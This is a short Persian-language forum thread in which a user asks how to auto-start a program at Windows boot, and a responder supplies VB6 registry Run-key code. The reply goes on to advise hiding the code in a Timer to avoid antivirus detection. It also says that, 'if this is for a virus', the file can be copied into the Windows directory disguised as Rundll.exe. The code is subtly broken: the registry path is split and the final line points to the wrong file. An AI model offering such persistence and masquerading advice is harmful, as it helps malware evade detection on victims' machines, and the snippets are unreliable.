اجرای یک برنامه exe . به محض بالا آمدن ویندوز به طور خودکار

[soheilbehro]

سلام
من یه برنامه دارم که می خواهم وقتی ویندوز بالا اومد به طور اتوماتیک اجرا بشه کسی می تونه منو راهنمایی کنه

[debugger]

این کد را در Form_load خود بزارید


Set Reg = CreateObject("wscript.shell")
Reg.RegWrite "HKEY_LOCAL_MACHINE\SOFTWARE\MICROSOFT\WINDOWS\CURR ENTVERSION\RUN\" & App.EXEName, App.Path & "\" & App.EXEName & ".exe"


البته چون در این صورت ممکنه انتی ویروس به برنامه گیر بده شما این کد را در داخل یک Timer بنویسید

البته این کد برای اجرای برنامه هایمان خوب است . اگر شما این کار را برای ویروس میخواهید

بهتر است اول فایل را به دایرکتوری ویندوز کپی کنید و بعد مسیر برنامه را از دایرکتوری ویندوز بدهید


Private Function Windir()
Dim WinPath As String
WinPath = String(255, vbNullChar)
GetWindowsDirectory WinPath, 255
Windir = Left(WinPath, InStr(WinPath, vbNullChar) - 1)
End Function


FileCopy App.Path & "\" & App.EXEName & ".exe", Windir & "\Rundll.exe"


Set Reg = CreateObject("wscript.shell")
Reg.RegWrite "HKEY_LOCAL_MACHINE\SOFTWARE\MICROSOFT\WINDOWS\CURR ENTVERSION\RUN\" & App.EXEName, Windir & "\" & App.EXEName & ".exe"